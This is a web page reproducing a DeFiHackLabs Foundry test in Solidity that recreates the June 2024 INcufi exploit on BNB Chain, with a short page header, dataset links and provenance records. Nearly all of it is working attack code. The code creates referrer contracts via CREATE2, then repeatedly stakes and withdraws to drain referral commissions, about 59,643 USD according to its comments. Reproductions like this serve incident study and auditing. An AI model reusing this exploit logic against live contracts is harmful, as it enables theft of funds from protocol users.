Public reproduction file
src/test/2024-06/INcufi_exp.sol
Public reproduction file for dataset entry INcufi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~59643 USD8// TX : https://app.blocksec.com/explorer/tx/bsc/0x556419e0a6ee8e6de6b3679605f9f62ad013007419a1b55c9f56590a824bfb529// Attacker : https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e10// Attack Contract : https://bscscan.com/address/0x4237d006471b38af0e1691c00d96193a8ff5709f13interface INcufi {14 struct order {15 uint256 id;16 uint256 amount;17 uint256 apy;18 uint256 period;19 uint256 startdate;20 uint256 enddate;21 bool complet;22 address USer;23 uint256 withdraltime;24 uint256 PRice;25 uint256 decimal;26 // uint earningwithdralusd;27 uint256 earningwithdralAkita;28 }30 function listMyoID() external view returns (order[] memory);31 function register(32 address referrer33 ) external;34 function STAKE(uint256 amout, uint256 day, uint256 countryid) external;35 function withdral(36 uint256 id37 ) external;38 function swapCommision(39 uint256 amount40 ) external;41}43interface IMoney {44 function getAdd() external returns (address);45}47contract Exploit is Test {48 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);49 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);50 INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);51 IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);52 address public One_referer;53 address public Two_referer;55 function setUp() public {56 cheats.createSelectFork("bsc", 39_729_927);57 deal(address(BUSD), address(this), 50_000 ether);58 }60 function testExploit() public {61 emit log_named_decimal_uint("[End] Attacker BUSD before exploit", BUSD.balanceOf(address(this)), 18);62 attack();63 emit log_named_decimal_uint("[End] Attacker Ncufi after exploit", AKITADEF.balanceOf(address(this)), 18);64 emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);65 }67 function attack() public {68 //Step 169 One_referer = create_contract(1);70 // address referer=IMoney(One_referer).getAdd();71 Two_referer = cal_address(2, address(this));72 Ncufi.register(Two_referer);74 //Step 275 uint256 i = 0;76 BUSD.approve(address(Ncufi), 9_999_999_999 ether);77 while (i < 100) {78 Ncufi.STAKE(10_000 ether, 0, 1);79 vm.warp(block.timestamp + 100);80 INcufi.order[] memory orders = Ncufi.listMyoID();81 uint256 id = orders[i].id;82 Start(id);83 i++;84 }86 //End87 // emit log_named_decimal_uint("[End] victim Ncufi BUSD balance", BUSD.balanceOf(address(Ncufi)), 18);88 AKITADEF.approve(address(Ncufi), type(uint256).max);89 Ncufi.swapCommision(59_643.218325 ether);90 }92 function Start(93 uint256 id94 ) public {95 Ncufi.withdral(id);96 uint256 A = AKITADEF.balanceOf(One_referer);97 uint256 B = AKITADEF.balanceOf(Two_referer);98 if (A > 0 || B > 0) {99 AKITADEF.transferFrom(address(One_referer), address(this), A);100 AKITADEF.transferFrom(address(Two_referer), address(this), B);101 }102 }104 function cal_address(uint256 time, address owner) internal returns (address) {105 bytes memory bytecode = type(Moneys).creationCode;106 uint256 _salt = time;107 bytecode = abi.encodePacked(bytecode, abi.encode(owner));108 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(One_referer), _salt, keccak256(bytecode)));109 address hack_contract = address(uint160(uint256(hash)));110 return hack_contract;111 }113 function create_contracts(114 uint256 times115 ) internal returns (address) {116 bytes memory bytecode = type(Moneys).creationCode;117 uint256 _salt = times;118 bytecode = abi.encodePacked(bytecode);119 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));120 address hack_contract = address(uint160(uint256(hash)));121 address addr;122 // Use create2 to Send money first.123 assembly {124 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)125 }126 return hack_contract;127 }129 function create_contract(130 uint256 times131 ) internal returns (address) {132 bytes memory bytecode = type(Money).creationCode;133 uint256 _salt = times;134 bytecode = abi.encodePacked(bytecode);135 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));136 address hack_contract = address(uint160(uint256(hash)));137 address addr;138 // Use create2 to Send money first.139 assembly {140 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)141 }142 return hack_contract;143 }144}146contract Money is Test {147 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));148 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);149 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);150 IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);151 INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);152 address Referer = 0xcFa207a442084a2c343996D09f06b40970247afF;153 uint256 constant PRECISION = 10 ** 18;154 address owner;155 address Moneysadd;157 constructor() {158 owner = msg.sender;159 AKITADEF.approve(address(msg.sender), type(uint256).max);160 Ncufi.register(Referer);161 address add = create_contracts(2, msg.sender);162 Moneysadd = add;163 }165 function getAdd() public returns (address) {166 require(owner == msg.sender, "error");167 return Moneysadd;168 }170 function create_contracts(uint256 times, address onwer) internal returns (address) {171 bytes memory bytecode = type(Moneys).creationCode;172 uint256 _salt = times;173 // bytecode = abi.encodePacked(bytecode);174 bytecode = abi.encodePacked(bytecode, abi.encode(owner));175 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));176 address hack_contract = address(uint160(uint256(hash)));177 address addr;178 // Use create2 to Send money first.179 assembly {180 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)181 }182 return hack_contract;183 }185 fallback() external payable {}186}188contract Moneys is Test {189 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));190 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);191 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);192 IERC20 AKITADEF = IERC20(0x3213573C46eb905bA17F0Bb650E10C2352552e8a);193 INcufi Ncufi = INcufi(0x80df77b2Ae5828FF499A735ee823D6CD7Cf95f5a);194 address Referer = 0xEB1Df3Bed5bd20c010CAAd4EE18Ff7A697334E68;195 uint256 constant PRECISION = 10 ** 18;196 address owner;198 constructor(199 address aAddress200 ) {201 owner = aAddress;202 AKITADEF.approve(address(owner), type(uint256).max);203 Ncufi.register(msg.sender);204 }206 fallback() external payable {}207}Analysis
Dataset entry
Public Foundry test for “INcufi” (2024-06-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-06/APEMAGA_exp.solSame month in the dataset · 66 lines
- src/test/2024-06/Bazaar_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/Crb2_exp.solSame month in the dataset · 101 lines
- src/test/2024-06/Dyson_money_exp.solSame month in the dataset · 108 lines
- src/test/2024-06/JokInTheBox_exp.solSame month in the dataset · 70 lines
- src/test/2024-06/MineSTM_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/NCD_exp.solSame month in the dataset · 112 lines
- src/test/2024-06/SteamSwap_exp.solSame month in the dataset · 77 lines
- src/test/2024-06/UwuLend_First_exp.solSame month in the dataset · 620 lines
- src/test/2024-06/Velocore_exp.solSame month in the dataset · 159 lines
- src/test/2024-06/WIFCOIN_ETH_exp.solSame month in the dataset · 62 lines
- src/test/2024-06/Will_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/YYS_exp.solSame month in the dataset · 79 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e
- Attack Contract
0x4237d006471b38af0e1691c00d96193a8ff5709f
File record
- Name
- INcufi
- Path
- src/test/2024-06/INcufi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1f270b2e559e4e71ea80408513452314f1d47e38
- Language
- Solidity
- Size
- 208 lines
- Date
- 2024-06-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-06/INcufi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1f270b2e559e4e71ea80408513452314f1d47e38, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.